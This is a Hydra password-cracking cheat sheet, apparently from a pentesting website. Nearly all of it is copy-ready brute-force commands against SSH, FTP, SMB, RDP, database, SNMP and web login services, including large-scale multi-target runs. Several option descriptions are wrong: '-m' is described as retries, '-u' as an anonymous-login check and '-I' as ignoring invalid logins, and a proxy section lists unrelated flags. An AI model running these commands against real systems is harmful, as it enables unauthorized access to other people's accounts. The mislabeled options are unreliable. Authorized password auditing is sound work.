Pentesting.Site - THC Hydra Cheat Sheet

THC Hydra is a fast and powerful password-cracking tool used for brute-force attacks against various protocols and services like FTP, SSH, Telnet, and HTTP. It supports multiple authentication methods, making it a go-to tool for penetration testers to assess password security across networks, web applications, and remote systems. Hydra helps identify weak credentials.

Download Hydra

Installation and Setup

1
sudo apt update && sudo apt install hydra

1
sudo apt update && sudo apt install hydra

1
brew install hydra

1
git clone https://github.com/vanhauser-thc/thc-hydra.git
2
cd thc-hydra
3
./configure
4
make
5
sudo make install

Basic Usage

1
hydra -L users.txt -P passwords.txt 10.1.1.1 ssh            #Basic SSH Brute-Force
2
hydra -l admin -P rockyou.txt ftp://10.1.1.1                #FTP Brute-Force with a Single User
3
hydra -L users.txt -P passwords.txt -t 4 ssh://10.1.1.1     #Limit Concurrent Threads (4)
4
hydra -L users.txt -P passwords.txt -M targets.txt ssh      #Attack Multiple Targets from File

Supported Authentication Protocols

1
hydra -U                                                                     #List all supported protocols
2
hydra -L users.txt -P passwords.txt ssh://10.1.1.1                           #SSH Attack
3
hydra -L users.txt -P passwords.txt ftp://10.1.1.1                           #FTP Attack
4
hydra -L users.txt -P passwords.txt rdp://10.1.1.1                           #RDP Attack
5
hydra -L users.txt -P passwords.txt smb://10.1.1.1                           #SMB Attack
6
hydra -L users.txt -P passwords.txt mysql://10.1.1.1                         #MySQL Attack
7
hydra -L users.txt -P passwords.txt postgres://10.1.1.1                      #PostgreSQL Attack
8
hydra -L users.txt -P passwords.txt http-post-form://example.com/login.php   #Web Login Form
9
hydra -L users.txt -P passwords.txt snmp://10.1.1.1                          #SNMP Brute-Force

Common Attack Scenarios

Brute-Force SSH

1
hydra -L users.txt -P passwords.txt ssh://10.1.1.1                  #SSH Attack
2
hydra -l root -P rockyou.txt ssh://10.1.1.1                         #Target Root Account
3
hydra -L users.txt -P passwords.txt -s 2222 ssh://10.1.1.1          #Attack Custom SSH Port

Brute-Force FTP

1
hydra -L users.txt -P passwords.txt ftp://10.1.1.1                  #FTP Attack
2
hydra -L users.txt -P passwords.txt -s 21 ftp://10.1.1.1            #FTP on Port 21
3
hydra -L users.txt -P passwords.txt -u anonymous ftp://10.1.1.1     #FTP Anonymous Login Check

Brute-Force SMB

1
hydra -L users.txt -P passwords.txt smb://10.1.1.1                  #SMB Brute-Force Attack
2
hydra -L users.txt -P passwords.txt -t 5 smb://10.1.1.1             #SMB Brute-Force Attack with Thread Control
3
hydra -L users.txt -P passwords.txt -e nsr smb://10.1.1.1           #Try Null, Same-as-User, and Reverse

Brute-Force RDP

1
hydra -L users.txt -P passwords.txt rdp://10.1.1.1                  #RDP Brute-Force Attack
2
hydra -L users.txt -P passwords.txt -s 3389 rdp://10.1.1.1          #RDP Brute-Force Attack on Port 3389

1
hydra -L users.txt -P passwords.txt http-post-form://example.com/login.php:user=^USER^&pass=^PASS^:S=200            #HTTP Login Brute-Force Attack
2
hydra -L users.txt -P passwords.txt http-get-form://example.com/login.php:user=^USER^&pass=^PASS^:F=incorrect       #HTTP GET Form Brute-Force Attack

Advanced Options

1
hydra -L users.txt -P passwords.txt -M targets.txt ssh            #Brute-Force Multiple Targets
2
hydra -l root -P rockyou.txt -vV ssh://10.1.1.1                   #Verbose Mode
3
hydra -L users.txt -P passwords.txt -t 10 -T 20 ssh://10.1.1.1    #Increase Parallel Tasks
4
hydra -l admin -P passwords.txt -w 5 ftp://10.1.1.1               #Add a Wait Time Between Brute-Force Attempts
5
hydra -L users.txt -P passwords.txt -m 2 ssh://10.1.1.1           #Retry Each Password Twice

Performance Tuning

1
hydra -t 10 -L users.txt -P passwords.txt ssh://10.1.1.1       #Increase Threads
2
hydra -L users.txt -P passwords.txt -T 30 ssh://10.1.1.1       #Optimize Connection Attempts
3
hydra -L users.txt -P passwords.txt -w 10 ssh://10.1.1.1       #Add a 10-second Wait Between Brute-Force Attempts

Bypass and Obfuscation Techniques

1
hydra -L users.txt -P passwords.txt -e ns ssh://10.1.1.1     #Try Null and Same-Name Passwords
2
hydra -L users.txt -P passwords.txt -m 2 ssh://10.1.1.1      #Retry Each Password Twice
3
hydra -L users.txt -P passwords.txt -W 5 ssh://10.1.1.1      #Delay Between Retries

Proxy and VPN Support

1
hydra -L users.txt -P passwords.txt -s 2222 ssh://10.1.1.1        #Use a Custom Port
2
hydra -L users.txt -P passwords.txt -x 5:8:A1 ssh://10.1.1.1      #Generate Passwords
3
hydra -L users.txt -P passwords.txt -V -F ssh://10.1.1.1          #Exit After First Match

Troubleshooting and Debugging

1
hydra -L users.txt -P passwords.txt -V ssh://10.1.1.1      #Enable Verbose Output
2
hydra -L users.txt -P passwords.txt -d ssh://10.1.1.1      #Enable Debug Mode
3
hydra -R                                                   #Resume Last Cracked Session

Best Practices

1
hydra -L users.txt -P rockyou.txt -t 10 -V ssh://10.1.1.1           #Optimize SSH Attack
2
hydra -L users.txt -P passwords.txt -M targets.txt -T 25 -V ssh     #Large-Scale Attack
3
hydra -L users.txt -P passwords.txt -w 10 -I ssh://10.1.1.1         #Ignore Invalid Logins

THC Hydra